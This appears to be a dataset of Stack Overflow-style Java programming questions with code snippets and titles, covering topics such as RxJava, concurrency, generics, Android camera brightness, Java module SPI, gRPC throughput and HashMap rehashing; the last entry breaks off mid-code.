methods returning Observable : For each result from the first Observable I get new instance of the second Observable . For each result from the second observable I would return object with combined results.How can this be done ?,"Observable < String > firstObservable ( ) ; Observable < String > secondObservable ( String value ) ; firstObservable - > x -- -- x -- -- x -- -- x -- -- x \ \ \ \ \secondObservable - > y ( x ) -y ( x ) -y ( x ) -y ( x ) -y ( x ) \ \ \ \ \result - > { x , y } - { x , y } - { x , y } - { x , y } - { x , y }",Combine Observable with second Observable which uses results from from the first one +Java,"I 've coded a multi-threaded matrix multiplication . I believe my approach is right , but I 'm not 100 % sure . In respect to the threads , I do n't understand why I ca n't just run a ( new MatrixThread ( ... ) ) .start ( ) instead of using an ExecutorService.Additionally , when I benchmark the multithreaded approach versus the classical approach , the classical is much faster ... What am I doing wrong ? Matrix Class : Main class : P.S . Please let me know if any further clarification is needed .","import java.util . * ; import java.util.concurrent.ExecutorService ; import java.util.concurrent.Executors ; import java.util.concurrent.TimeUnit ; class Matrix { private int dimension ; private int [ ] [ ] template ; public Matrix ( int dimension ) { this.template = new int [ dimension ] [ dimension ] ; this.dimension = template.length ; } public Matrix ( int [ ] [ ] array ) { this.dimension = array.length ; this.template = array ; } public int getMatrixDimension ( ) { return this.dimension ; } public int [ ] [ ] getArray ( ) { return this.template ; } public void fillMatrix ( ) { Random randomNumber = new Random ( ) ; for ( int i = 0 ; i < dimension ; i++ ) { for ( int j = 0 ; j < dimension ; j++ ) { template [ i ] [ j ] = randomNumber.nextInt ( 10 ) + 1 ; } } } @ Override public String toString ( ) { String retString = `` '' ; for ( int i = 0 ; i < this.getMatrixDimension ( ) ; i++ ) { for ( int j = 0 ; j < this.getMatrixDimension ( ) ; j++ ) { retString += `` `` + this.getArray ( ) [ i ] [ j ] ; } retString += `` \n '' ; } return retString ; } public static Matrix classicalMultiplication ( Matrix a , Matrix b ) { int [ ] [ ] result = new int [ a.dimension ] [ b.dimension ] ; for ( int i = 0 ; i < a.dimension ; i++ ) { for ( int j = 0 ; j < b.dimension ; j++ ) { for ( int k = 0 ; k < b.dimension ; k++ ) { result [ i ] [ j ] += a.template [ i ] [ k ] * b.template [ k ] [ j ] ; } } } return new Matrix ( result ) ; } public Matrix multiply ( Matrix multiplier ) throws InterruptedException { Matrix result = new Matrix ( dimension ) ; ExecutorService es = Executors.newFixedThreadPool ( dimension*dimension ) ; for ( int currRow = 0 ; currRow < multiplier.dimension ; currRow++ ) { for ( int currCol = 0 ; currCol < multiplier.dimension ; currCol++ ) { // ( new MatrixThread ( this , multiplier , currRow , currCol , result ) ) .start ( ) ; es.execute ( new MatrixThread ( this , multiplier , currRow , currCol , result ) ) ; } } es.shutdown ( ) ; es.awaitTermination ( 2 , TimeUnit.DAYS ) ; return result ; } private class MatrixThread extends Thread { private Matrix a , b , result ; private int row , col ; private MatrixThread ( Matrix a , Matrix b , int row , int col , Matrix result ) { this.a = a ; this.b = b ; this.row = row ; this.col = col ; this.result = result ; } @ Override public void run ( ) { int cellResult = 0 ; for ( int i = 0 ; i < a.getMatrixDimension ( ) ; i++ ) cellResult += a.template [ row ] [ i ] * b.template [ i ] [ col ] ; result.template [ row ] [ col ] = cellResult ; } } } import java.util.Scanner ; public class MatrixDriver { private static final Scanner kb = new Scanner ( System.in ) ; public static void main ( String [ ] args ) throws InterruptedException { Matrix first , second ; long timeLastChanged , timeNow ; double elapsedTime ; System.out.print ( `` Enter value of n ( must be a power of 2 ) : '' ) ; int n = kb.nextInt ( ) ; first = new Matrix ( n ) ; first.fillMatrix ( ) ; second = new Matrix ( n ) ; second.fillMatrix ( ) ; timeLastChanged = System.currentTimeMillis ( ) ; //System.out.println ( `` Product of the two using threads : \n '' + first.multiply ( second ) ; timeNow = System.currentTimeMillis ( ) ; elapsedTime = ( timeNow - timeLastChanged ) /1000.0 ; System.out.println ( `` Threaded took `` +elapsedTime+ '' seconds '' ) ; timeLastChanged = System.currentTimeMillis ( ) ; //System.out.println ( `` Product of the two using classical : \n '' + Matrix.classicalMultiplication ( first , second ) ; timeNow = System.currentTimeMillis ( ) ; elapsedTime = ( timeNow - timeLastChanged ) /1000.0 ; System.out.println ( `` Classical took `` +elapsedTime+ '' seconds '' ) ; } }",Multi-threaded matrix multiplication +Java,"I 'm trying to get user location in Spring Social Facebook : The problem is that pg.getLocation ( ) returns null.I also tried withbut it does populate only the name , not country or other fields.Trying on Graph API Explorer /v2.6/112286918797929 ? fields=id , name , location returns as expected : Is this an issue with Spring Social Facebook ? I 'm using Spring Social 1.1.4 and Spring Social Facebook 2.0.3.I also tried Spring Social for Facebook - get user location , but unfortunately not all the places follow the name convention City , Country and some of them include in the name only the city , not the country too . Plus how can you get the geo-coordinates ?","Facebook fb = ( ( Facebook ) connection.getApi ( ) ) ; Page pg = fb.pageOperations ( ) .getPage ( fb.userOperations ( ) .getUserProfile ( ) .getLocation ( ) .getId ( ) ) ; fb.fetchObject ( fb.userOperations ( ) .getUserProfile ( ) .getLocation ( ) .getId ( ) , org.springframework.social.facebook.api.Location.class ) { `` id '' : `` 112286918797929 '' , `` name '' : `` Sacele '' , `` location '' : { `` city '' : `` Sacele '' , `` country '' : `` Romania '' , `` latitude '' : 45.6167 , `` longitude '' : 25.6833 } }",Location not populated on Spring Social Facebook +Java,"IntelliJ checkstyle indicates that this tag should be removed , as it is not required , as in instead ofyou can simply haveThis indeed helps not having bloated code at some times , but I failed to find a good reference on a convention here.This link mentions that the tag is optional as `` the loader will automatically add the sub-elements of the VBox to the container 's `` children '' collection '' . But that does n't make it very clear if it would be ok to adopt removing this tag from code or not as a convention ? Also , Scene Builder seems to add these tags to newly created controls , but it does n't mind if you remove them . It does not re-add them while editing such a modified file .",< VBox > < children > < HBox > ... < /HBox > < HBox > ... < /HBox > < /children > < /VBox > < VBox > < HBox > ... < /HBox > < HBox > ... < /HBox > < /VBox >,Is < children > tag useful in fxml ? Should it be removed ? +Java,"Consider this snippet of java 8 code : The lambda at the call to f compiles fine , whereas the lambda at the call to g does not compile , but rather gives this compile error : Why is this ? It seems to me that both the CheckedCallable1.call and CheckedCallable2.call methods are equivalent : by the rules of type erasure , V becomes Object as it is unbounded , and E becomes Exception , as that 's the upper type bound . So why does the compiler think the overridden method does not throw java.lang.Exception ? Even disregarding type erasure , which is likely not relevant here because this is all happening at compile time , it still does not make sense to me : I do n't see a reason why this pattern , if allowed , would result in , say , unsound java code.So can someone enlighten me as to why this is n't allowed ? Update : So I found something that 's maybe even more interesting . Take the above file , change each occurrence of Exception to IOException and add throws clause to main . Compile works ! Change back to Exception : compile breaks ! This compiles fine : At this point it 's starting to look more and more like a java bug ...","public class Generics { public static < V , E extends Exception > V f ( CheckedCallable1 < V , E > callable ) throws E { return callable.call ( ) ; } public static < V , E extends Exception > V g ( CheckedCallable2 < V , E > callable ) throws E { return callable.call ( ) ; } public static void main ( String [ ] args ) { f ( ( ) - > 1 ) ; g ( ( ) - > 1 ) ; } } interface Callable < V > { V call ( ) throws Exception ; } interface CheckedCallable1 < V , E extends Exception > { V call ( ) throws E ; } interface CheckedCallable2 < V , E extends Exception > extends Callable < V > { @ Override V call ( ) throws E ; } Error : ( 10 , 7 ) java : call ( ) in < anonymous Generics $ > can not implement call ( ) in CheckedCallable2 overridden method does not throw java.lang.Exception import java.io.IOException ; public class Generics { public static < V , E extends IOException > V f ( CheckedCallable1 < V , E > callable ) throws E { return callable.call ( ) ; } public static < V , E extends IOException > V g ( CheckedCallable2 < V , E > callable ) throws E { return callable.call ( ) ; } public static void main ( String [ ] args ) throws IOException { f ( ( ) - > 1 ) ; g ( ( ) - > 1 ) ; } } interface Callable < V > { V call ( ) throws IOException ; } interface CheckedCallable1 < V , E extends IOException > { V call ( ) throws E ; } interface CheckedCallable2 < V , E extends IOException > extends Callable < V > { @ Override V call ( ) throws E ; }",Lambdas and functional interfaces with generic throw clauses +Java,"I have 10 calculation jobs that take ( near ) infinite time . For example : calculate the next digit of PI , solve an NP-hard constraint satisfaction problem , etc.I have 4 threads ( so a thread pool with 4 threads on a machine with 8 cores , so I have some cores left to avoid live-locking the machine and the process ) .Using Java 8 , how do distribute these 10 jobs across those 4 threads ? This is a bad idea : because 4 jobs will start , but none will finish so job 5-10 will never start.If I look after for example 10 minutes , I would expect that each job has run for about 4 minutes . After 20 minutes , each job has run for about 8 minutes , etc . What are the typical patterns to deal with this ? ( If needed , I can implement a way to pauze a calculation after a preset amount of time . )",ExecutorService es = Executors.newFixedThreadPool ( 4 ) ; for ( Job j : jobs ) { es.submit ( j ) ; },Distribute 10 infinite jobs over 4 threads in a load-balanced manner ( Java ) +Java,Can Eclipse Formatter be configured to keep : And maybe to format small ( one line ) definitions as one-liners ?,public Long getId ( ) { return this.id ; },Eclipse formatter to keep One-Liners +Java,"I need to split the list into two lists by predicate with limiting elements that are going to true part.E.g . Let 's say I have such list : A = [ 1 , 2 , 3 , 4 , 5 , 6 , 7 , 8 , 9 , 10 ] and I want to split it by predicate o - > o % 2 == 0 and with limit 3.I want to get Map < Boolean , List < Integer > > where : Java 8 has collector that splits stream by predicate - Collectors.partitioningBy ( ... ) , but it does n't support limits . Is it possible to do this with java 8 streams / guava / apache , or should I create my own implementation of this function ? EDIT : I wrote this function . If you have any suggestion about this , feel free to tell me . MultiValuedMap is optional and can be replaced with Map .","true - > [ 2 , 4 , 6 ] // objects by predicate and with limit ( actually , order is not important ) false - > [ 1 , 3 , 5 , 7 , 8 , 9 , 10 ] // All other objects private < E > MultiValuedMap < Boolean , E > partitioningByWithLimit ( Predicate < E > predicate , List < E > src , int limit ) { MultiValuedMap < Boolean , E > result = new ArrayListValuedHashMap < > ( ) ; Iterator < E > iterator = src.iterator ( ) ; while ( iterator.hasNext ( ) ) { E next = iterator.next ( ) ; if ( limit > 0 & & predicate.test ( next ) ) { result.put ( true , next ) ; iterator.remove ( ) ; limit -- ; } } result.putAll ( false , src ) ; return result ; }",PartitioningBy with limit +Java,"From the docs , `` If a subclass defines a static method with the same signature as a static method in the superclass , then the method in the subclass hides the one in the superclass . `` I understand the difference between method hiding and overriding . However , it 's strange to say that the subclass hides the superclass method because if you have the following : The superclass 's static method is called . But by the definition of hiding , the method in the subclass is hiding the one in the superclass . I do n't see how the subclass is `` covering up/hiding '' the superclass static method , as the superclass 's method is the one that 's actually called .",public class Cat extends Animal { public static void testClassMethod ( ) { System.out.println ( `` The static method in Cat '' ) ; } public void testInstanceMethod ( ) { System.out.println ( `` The instance method in Cat '' ) ; } public static void main ( String [ ] args ) { Cat myCat = new Cat ( ) ; Animal myAnimal = myCat ; Animal.testClassMethod ( ) ; myAnimal.testInstanceMethod ( ) ; } },Why is it called `` method hiding '' ? +Java,"I 'm using retrofit to get the data from the web . now my problem is that I have to get a gziped file and retrofit needs some kind of headers that I dont know how to implement right , obviously . I did a research on this but nothing seems to help since most developers are using json.Here is what I 'm trying to do : and my interface : So I 'm trying to get that gziped file and I always get response like this : So what do I need to add so that retrofit recognizes that gzip file ?",Retrofit retrofit = new Retrofit.Builder ( ) .baseUrl ( `` this is my baseurl '' ) .addConverterFactory ( SimpleXmlConverterFactory.create ( ) ) .build ( ) ; public interface RestAPI { @ GET ( `` main_data1.gz '' ) Call < Meritum > getData ( ) ; @ GET ( `` terms1_EN.gz '' ) Call < MeritumTerms > getTerms ( ) ; @ GET Call < GameResults > getResults ( @ Url String url ) ; },How to get gziped xml files with retrofit ? +Java,"The toArray method ( lets pick the implementation in java.util.ArrayList ) is the following : I am wondering could we use < E > instead of < T > in this case ? likeSince the ArrayList class iteself is already generic to < E > , so could we use that instead of a new generic type < T > ?","class ArrayList < E > ... . { public < T > T [ ] toArray ( T [ ] a ) { if ( a.length < size ) return ( T [ ] ) Arrays.copyof ( elementData , size , a.getClass ( ) ) ; System.arraycopy ( elementData , 0 , a , 0 , size ) ; if ( a.length > size ) a [ size ] = null ; return a ; } } public E [ ] toArray ( E [ ] a ) { if ( a.length < size ) return ( E [ ] ) Arrays.copyof ( elementData , size , a.getClass ( ) ) ; System.arraycopy ( elementData , 0 , a , 0 , size ) ; if ( a.length > size ) a [ size ] = null ; return a ; }",Why Collection.toArray ( T [ ] ) does n't take an E [ ] instead +Java,"I 'm prepping up for the Java 8 certificate and the following has me puzzled a littlebit , maybe someone can help me with this ? In the example , a Squirrel class is modelled . It has a name and a weight . Now you can make a Comparator class to sort this thing using both fields . So first sort by name and then by weight . Something like this : So far so good.. but then the puzzling part . Underneath the code example , they state that you can write this in one single line by using method chaining . Maybe I misunderstand , but when I chain the comparing and the thenComparing parts , I get a compile error . It 's got to do with the types of objects that are compared ( first String , then int ) .Why does it work when I put in an intermediate variable and not when chaining ? And is it possible to chain at all ?","public class ChainingComparator implements Comparator < Squirrel > { public int compare ( Squirrel s1 , Squirrel s2 ) { Comparator < Squirrel > c = Comparator.comparing ( s - > s.getSpecies ( ) ) ; c = c.thenComparingInt ( s - > s.getWeight ( ) ) ; return c.compare ( s1 , s2 ) ; } }",How does method chaining work in Java 8 Comparator ? +Java,"In some implementations of Common LISP we can say that for the following expressionIs true because ' a and ' a are the `` same atom '' . This may be implementation dependent , but it seems the phrase ( used in a popular LISP teaching book ) assumes that atoms of the same value are stored in the same location in memory . In Java , two interned strings of the same value are stored in the same location in memory . Now Clojure on the JVM inherits Java 's legacy , but is it true to say that two atoms in Clojure ( on JVM ) having the same value are the same atom ? ( ie how does Clojure 's atom storage mechanism work ? )",( eq ' a ' a ),"In clojure , is ( = ' a ' a ) referring to the 'same atom ' ?" +Java,"As for similar questions on this topic and on ChildEventListener , there is no relevant answer , so heres mine.I have a local SQLite DB which holds all the data , I also have Firebase realtime database which I 'm updating with new entries or real time changes across all users . I 'm currently doing it with the use of ChildEventListener as follows : As for functionality , With this code I can get realtime changes on childs , get new entries , deleted childs and everything I need but there is one problem . When this specific activity with the listener loads up , the onChildAdded listener gets called enormous amounts of times for every child on this root , as stated on the documentation : child_added is triggered once for each existing child and then again every time a new child is added to the specified pathSo I though to gain focus on the items that I really need and I have done it with : But then I have lost my CRUD capabilities because it 's listening to the new entries and not all of them.So I came up with a solution . Keep node with all the changes that has been made to the FireBase database and a node with all the users that have read and made the changes to the local DB to know who needs an update , Then use addChildEventListener to this specific node . But that seems redundant.What is my options to handle this kind of situation ?",DatabaseReference rootRef = FirebaseDatabase.getInstance ( ) .getDatabase ( ) .getReference ( ) ; DatabaseReference childRef = rootRef.child ( `` my_root '' ) ; ChildEventListener eventListener = new ChildEventListener ( ) { ... . } ; childRef.addChildEventListener ( eventListener ) ; rootRef.orderByKey ( ) .startAt ( `` -WhatTF123456789 '' ) ...,Android Firebase how to handle real time server to local database connection +Java,"I am a bit confused with Thread.sleep ( ) method . if Thread.sleep ( ) is a static method , how does two threads know which is put to sleep . For example , in the code below , I have two three Threadsmain , t and t1 . I call Thread.sleep ( ) always . Not t.sleep ( ) . Does it mean Thread.sleep ( ) puts the current Thread to sleep ? That means a Thread instance puts to sleep by itself by calling the static method . what if t1 wants to put t to sleep . that should n't be possible correct ?",public class ThreadInterrupt { public static void main ( String [ ] args ) throws InterruptedException { System.out.println ( `` Starting . `` ) ; Thread t = new Thread ( new Runnable ( ) { @ Override public void run ( ) { Random ran = new Random ( ) ; for ( int i = 0 ; i < 1E8 ; i++ ) { try { Thread.sleep ( 100 ) ; } catch ( InterruptedException e ) { System.out.println ( `` we have been interrupted '' ) ; e.printStackTrace ( ) ; } } ) ; Thread t2 = new Thread ( new Runnable ( ) { public void run ( ) { //some stuff } } ) ; t.start ( ) ; t2.start ( ) ; Thread.sleep ( 500 ) ; t.interrupt ( ) ; t.join ( ) ; System.out.println ( `` Finished . `` ) ; } },"if Thread.sleep is static , how does individual thread knows it is put to sleep ?" +Java,"According to Java Generics FAQhttp : //www.angelikalanger.com/GenericsFAQ/FAQSections/TypeParameters.html # FAQ302 a type parameter can not be forward-referenced in this waybut it is ok to haveThese two examples are verified with the latest jdk 1.6.0_24.My question is , where in the language spec this is specified , implied , or deductible ( i.e . if it is untrue , other things can blow up ) . I ca n't find it anywhere.UpdateIn javac7 , it is allowed . Intuitively , the order of type parameters does n't matter ; the type system requires that there 's no cyclic dependencies among type variables : < A extends B , B extends A > . Previously , this can be guaranteed by forbidding forward reference . Apparently javac 7 is improved to relax the ordering , while detecting cycles regardless of ordering .","< A extends B , B > // error < A extends List < B > , B > // ok",Forward Reference of Type Parameter in Java Generics +Java,whenever i compile above code by JAVAC command in cmd it gives only First Error means not give second Error . In java language partially compiler and partially interpreter and In java first compilation happen so compiler should list out all errors but it gives me only single error . why its happening ? i dont understand so please help me out from this problem..I think now i am clear about my question means compiler works totally ... For that i create simple example it will help you to understand the java compiler working .,"System.out.println ( `` First eror : : without semicolon `` ) // first Error System.Out.println ( `` This second error : : OUT object not used proper : : `` ) ; //second errorclass TestCompilation { public static void main ( String [ ] args ) { System.out.println ( `` Hello no semicolon : : '' ) //First Error System.Out.println ( `` Hello out spell not correctely : : '' ) ; //Second Error } } class TestCompilation { public static void main ( String [ ] args ) { Syste.out.rintln ( `` Hello '' ) ; //First Error Syste.Out.rintln ( `` Hello '' ) ; //Second Error ( Not printed at compiler time because it syntatically correct as in compiler first phase ) Hitesh542.add ( ) ; //there is no such class called Hitesh542.- but compiler thinks that it is right way to call the method . So it passes the first time . Hitesh542.add ( ) ( ) ; //Look out here.. There is a problem , that we ca n't call a method like this..So it will show the error on first lookup . System.otu.println ( `` Hello '' ) //second Errorasdasdas if ( ) ; //look this is also an error.- A BASIC syntax error shown at the first lookup . try { int i = 10 / 0 ; } //Third error //So bottom line is the JAVA syntatical errors are checked first i.e The SYNTAX of JAVA not the classes or objects . //But obv is the first thing is Java Compiler should get the Java class first for compilation on proper path . : ) } }",java compiler not give all error at a time +Java,"I built a custom camera using the Camera 1 API and for some reason it produces very dark pictures ( only on the front camera , the back camera works perfectly fine ) . The camera preview shows the camera as it should , with the correct brightness - it 's only when an image is captured and decoded into a bitmap does it look really dark . I have been frantically googling for a while and have found this problem reported quite a few times but ca n't find a working solution . The device I 'm using is a Samsung J5 . CameraPreview : On my CameraPictureCallback ( when an image is taken ) , I send the bytes to this method , which decodes the bytes into a bitmap , puts it in a bundle and passes it to the next fragment : Am I missing a trick here ? In my surfaceCreated ( ) I set the exposure compensation to the max but this does n't seem to have an effect . Appreciate any help . Edit : Turns out adding a delay did n't make a difference , so here are the results ( camera preview vs actual image taken ) : CameraPreview : Captured image : The image is captured by calling mCamera.takePicture ( null , null , pictureCallback ) when the capture button is clicked ( the callback just transfers the bytes to the above method ) .","class CameraPreview extends SurfaceView implements SurfaceHolder.Callback { private static final String CAMERA = `` CAMERA '' ; private static Camera mCamera ; private final CameraActivity cameraActivity ; private final SurfaceHolder mHolder ; public CameraPreview ( Camera camera , CameraActivity cameraActivity ) { super ( cameraActivity ) ; this.cameraActivity = cameraActivity ; mCamera = camera ; mHolder = getHolder ( ) ; mHolder.addCallback ( this ) ; mHolder.setType ( SurfaceHolder.SURFACE_TYPE_PUSH_BUFFERS ) ; } public void setCameraDisplayOrientation ( int cameraId ) { Camera.CameraInfo info = new android.hardware.Camera.CameraInfo ( ) ; Camera.getCameraInfo ( cameraId , info ) ; final int rotation = cameraActivity.getWindowManager ( ) .getDefaultDisplay ( ) .getRotation ( ) ; int degrees = 0 ; switch ( rotation ) { case Surface.ROTATION_0 : degrees = 0 ; break ; case Surface.ROTATION_90 : degrees = 90 ; break ; case Surface.ROTATION_180 : degrees = 180 ; break ; case Surface.ROTATION_270 : degrees = 270 ; break ; } int result ; if ( info.facing == cameraId ) { result = ( info.orientation + degrees ) % 360 ; result = ( 360 - result ) % 360 ; } else { result = ( info.orientation - degrees + 360 ) % 360 ; } mCamera.setDisplayOrientation ( result ) ; } @ Override public void surfaceCreated ( SurfaceHolder holder ) { try { mCamera.setPreviewDisplay ( holder ) ; mCamera.startPreview ( ) ; cameraActivity.isSafeToTakePicture ( true ) ; Camera.Parameters params = mCamera.getParameters ( ) ; // my attempt at preventing darkness params.setExposureCompensation ( params.getMaxExposureCompensation ( ) ) ; if ( params.isAutoExposureLockSupported ( ) ) { params.setAutoExposureLock ( false ) ; } mCamera.setParameters ( params ) ; } catch ( IOException e ) { Log.d ( CAMERA , `` An error occured when setting up the camera preview `` + e.getMessage ( ) ) ; } } @ Override public void surfaceDestroyed ( SurfaceHolder holder ) { mCamera.stopPreview ( ) ; } @ Override public void surfaceChanged ( SurfaceHolder holder , int format , int w , int h ) { } } public void openFragmentWithBitmap ( byte [ ] bytes ) { final BitmapFactory.Options scalingOptions = new BitmapFactory.Options ( ) ; final Bitmap bitmap = BitmapFactory.decodeByteArray ( bytes , 0 , bytes.length , scalingOptions ) ; final Bundle bundle = new Bundle ( ) ; bundle.putParcelable ( SELFIE , bitmap ) ; mCamera.stopPreview ( ) ; final FragmentTransaction ft = getSupportFragmentManager ( ) .beginTransaction ( ) ; final Fragment startChainFragment = new StartChainFragment ( ) ; startChainFragment.setArguments ( bundle ) ; ft.setCustomAnimations ( R.anim.slide_up , R.anim.slide_down ) .replace ( R.id.rlPlaceholder , startChainFragment , StartChainFragment.TAG ) .addToBackStack ( null ) .commit ( ) ; }",Camera preview is fine but front camera produces very dark photos +Java,I need to represent a value of 0xFF00 as two bytes ( in Java ) . I am trying to do it like this : I know that byte in Java can hold values 0-255 . So I expect the first array element to have a value of 255 and the second element to be zero . But what I am getting instead is -1 and 0 . What I am doing wrong ? What this -1 value mean ?,int val = 0xFF00 ; bytearray [ 0 ] = ( byte ) ( ( val > > 8 ) & 0xFF ) ; bytearray [ 1 ] = ( byte ) ( ( val > > 0 ) & 0xFF ) ;,Represent an int as 2 bytes in Java +Java,"I have the following classes : My input is a list of sport objects , for simplicity consider the below examples : I have to create a List < List < > > , such that the inner list is all the sports which have at least 1 common player ( Transitive property applies here ) . In the above example , the output should be , Any suggestions on solving this and/or pseudo-code ?","class Sport { private String sportsName ; private List < People > peopleWhoPlayThisSport ; // ... } class People { private String name ; private long uniqueId ; // ... } sport1 - Football , < Sam , Dylan > sport2 - Basketball , < Tyler , John > sport3 - Baseball , < Carter , Dylan > sport4 - Hockey , < Kane , Michael > sport5 - Soccer , < Carter , Frank > < < sport1 , sport3 , sport5 > , < sport2 > , < sport4 > >",Algorithm to group objects +Java,"I spent quite a while with Google to find some information on this topic , but results relating to both Java enums and covariant return types were pretty much non-existent.So : is it possible to use covariant return types with enum methods where you define a method in the enum class and then override it in the instances , like so : And then to take advantage of the covariance like so : In this case the compiler is fine with my enum definition , but the test case fails to compile , saying Object can not be converted to Integer ( or String ) . Apparently the compiler only looks at the base definition of the method , not the overriding method.With a different enum definition I had the base method abstract , but that still did n't work.I 'm thinking it 's something complex to do with the way enums are transformed during the compile process that prevents it from working , but I want to be sure it 's not just me doing something silly.Note that this test case is admittedly very contrieved , in my actual enum this functionality would be more useful . I can post it if necessary .","package enumcovariance.test ; public enum CovariantEnum { INT_INSTANCE ( new Integer ( 3 ) ) { @ Override public Integer getData ( ) { return ( Integer ) super.getData ( ) ; } } , STR_INSTANCE ( `` Hello world '' ) { @ Override public String getData ( ) { return ( String ) super.getData ( ) ; } } ; private final Object data ; private CovariantEnum ( Object data ) { this.data = data ; } public Object getData ( ) { return data ; } } package enumcovariance.test ; import org.junit.Test ; public class CovariantEnumTest { @ Test public void intEnumTest ( ) { Integer i = CovariantEnum.INT_INSTANCE.getData ( ) ; } @ Test public void strEnumTest ( ) { String s = CovariantEnum.STR_INSTANCE.getData ( ) ; } }",Java covariant return types not working for overriding methods of an enum instance ? +Java,"I am experimenting with SPI on JDK 9 . Entire example works on JDK 9 without `` module-info.java '' . After adding `` module-info.java '' ServiceLocator is not finding implementing class . I am confused and I can not find working SPI example in modulerized JDK 9 project.So my example project looks like this : I have introduced interface : This interface is implemented by : The implementation is searched by code simmiliar to : And now is the fun part . When I am executing class below without : /implementationB/src/main/java/module-info.java/applicationB/src/main/java/module-info.javathen implementation class is found and text is printed out.After introducing this two `` module-info.java '' files implementation class is not found by ServiceLocator.Content of /applicationB/src/main/java/module-info.java : Content of /implementationB/src/main/java/module-info.java : When I uncomment : line then compilation error occurs : I have tried to change package names as compilation error sugests , but then I have introduced `` split package '' issues . What I should do to use ServiceLocator in fully modularized JDK 9 ? Is it possible ? Have anyone seen working example ? Code can be also seen here : https : //github.com/RadoslawOsinski/spidemo","/spidemo├── apiModule│ ├── pom.xml│ └── src│ └── main│ └── java│ ├── eu│ │ └── com│ │ └── example│ │ └── text│ │ └── spi│ │ └── TextAPI.java│ └── module-info.java├── applicationB│ ├── pom.xml│ └── src│ └── main│ ├── java│ │ └── eu│ │ └── com│ │ └── example│ │ └── spi│ │ └── b│ │ └── application│ │ └── DemoB.java│ └── module-info.java├── applicationCommon│ ├── pom.xml│ └── src│ └── main│ └── java│ ├── eu│ │ └── com│ │ └── example│ │ └── spi│ │ └── application│ │ └── TextAPIProvider.java│ └── module-info.java├── implementationB│ ├── pom.xml│ └── src│ └── main│ ├── java│ │ └── eu│ │ └── com│ │ └── example│ │ └── implb│ │ └── text│ │ └── TextB.java│ ├── module-info.java│ └── resources│ └── META-INF│ └── services│ └── eu.com.example.text.spi.TextAPI package eu.com.example.text.spi ; public interface TextAPI { String getHelloWorldText ( ) ; } package eu.com.example.implb.text ; import eu.com.example.text.spi.TextAPI ; public class TextB implements TextAPI { public String getHelloWorldText ( ) { return `` Text from B implementation '' ; } } package eu.com.example.spi.application ; import eu.com.example.text.spi.DefaultTextAPI ; import eu.com.example.text.spi.TextAPI ; import java.util.ServiceLoader ; public class TextAPIProvider { public static TextAPI getProvider ( String providerName ) { ServiceLoader < TextAPI > serviceLoader = ServiceLoader.load ( TextAPI.class ) ; for ( TextAPI provider : serviceLoader ) { String className = provider.getClass ( ) .getName ( ) ; if ( providerName.equals ( className ) ) { return provider ; } } throw new RuntimeException ( providerName + `` provider is not found ! `` ) ; } } package eu.com.example.spi.b.application ; import eu.com.example.spi.application.TextAPIProvider ; public class DemoB { public static void main ( String [ ] args ) { System.out.println ( `` -- - > `` + TextAPIProvider.getProvider ( `` eu.com.example.implb.text.TextB '' ) .getHelloWorldText ( ) ) ; } } module eu.com.example.applicationB { requires eu.com.example.apiModule ; requires transitive eu.com.example.applicationCommon ; uses eu.com.example.text.spi.TextAPI ; } module eu.com.example.implb.text { requires eu.com.example.apiModule ; exports eu.com.example.implb.text ; // provides eu.com.example.implb.text.TextB with eu.com.example.text.spi.TextAPI ; } provides eu.com.example.implb.text.TextB with eu.com.example.text.spi.TextAPI ; ... /implementationB/src/main/java/module-info.java : [ 7,74 ] the service implementation type must be a subtype of the service interface type , or have a public static no-args method named `` provider '' returning the service implementation ... /implementationB/src/main/java/module-info.java : [ 7,5 ] service implementation must be defined in the same module as the provides directive",SPI + JDK 9 + module-info.java +Java,"I have a service that transfers messages at a quite high rate.Currently it is served by akka-tcp and it makes 3.5M messages per minute . I decided to give grpc a try . Unfortunately it resulted in much smaller throughput : ~500k messages per minute an even less.Could you please recommend how to optimize it ? My setupHardware : 32 cores , 24Gb heap.grpc version : 1.25.0Message format and endpointMessage is basically a binary blob . Client streams 100K - 1M and more messages into the same request ( asynchronously ) , server does n't respond with anything , client uses a no-op observerProblems : Message rate is low compared to akka implementation . I observe low CPU usage so I suspect that grpc call is actually blocking internally despite it says otherwise . Calling onNext ( ) indeed does n't return immediately but there is also GC on the table.I tried to spawn more senders to mitigate this issue but did n't get much of improvement . My findingsGrpc actually allocates a 8KB byte buffer on each message when serializes it . See the stacktrace : java.lang.Thread.State : BLOCKED ( on object monitor ) at com.google.common.io.ByteStreams.createBuffer ( ByteStreams.java:58 ) at com.google.common.io.ByteStreams.copy ( ByteStreams.java:105 ) at io.grpc.internal.MessageFramer.writeToOutputStream ( MessageFramer.java:274 ) at io.grpc.internal.MessageFramer.writeKnownLengthUncompressed ( MessageFramer.java:230 ) at io.grpc.internal.MessageFramer.writeUncompressed ( MessageFramer.java:168 ) at io.grpc.internal.MessageFramer.writePayload ( MessageFramer.java:141 ) at io.grpc.internal.AbstractStream.writeMessage ( AbstractStream.java:53 ) at io.grpc.internal.ForwardingClientStream.writeMessage ( ForwardingClientStream.java:37 ) at io.grpc.internal.DelayedStream.writeMessage ( DelayedStream.java:252 ) at io.grpc.internal.ClientCallImpl.sendMessageInternal ( ClientCallImpl.java:473 ) at io.grpc.internal.ClientCallImpl.sendMessage ( ClientCallImpl.java:457 ) at io.grpc.ForwardingClientCall.sendMessage ( ForwardingClientCall.java:37 ) at io.grpc.ForwardingClientCall.sendMessage ( ForwardingClientCall.java:37 ) at io.grpc.stub.ClientCalls $ CallToStreamObserverAdapter.onNext ( ClientCalls.java:346 ) Any help with best practices on building high-throughput grpc clients appreciated .",service MyService { rpc send ( stream MyMessage ) returns ( stream DummyResponse ) ; } message MyMessage { int64 someField = 1 ; bytes payload = 2 ; //not huge } message DummyResponse { },GRPC : make high-throughput client in Java/Scala +Java,"I was trying to understand the that does the rehashing of hashmap takes place while exceeding the number of buckets occupied or the total number of entries in all buckets . Means , we know that if 12 out of 16 ( One entry in each bucket ) of buckets are full ( Considering default loadfactor and initial capacity ) , then we know on the next entry the hashmap will be rehashed . But what about that case when suppose only 3 buckets are occupied with 4 entries each ( Total 12 entries but only 3 buckets out of 16 in use ) ? So I tried to replicate this by making the worst hash function which will put all entries in a single bucket.Here is my code.Now I started putting values in hashmap.All the nodes were entering the single bucket as expected , but I noticed that on the 9th entry , the hashmap rehashed and doubled its capacity . Now on the 10th entry , It again doubled its capacity . Can anyone explain how this is happening ? Thanks in advance .","class X { public Integer value ; public X ( Integer value ) { super ( ) ; this.value = value ; } @ Override public int hashCode ( ) { return 1 ; } @ Override public boolean equals ( Object obj ) { X a = ( X ) obj ; if ( this.value.equals ( a.value ) ) { return true ; } return false ; } } HashMap < X 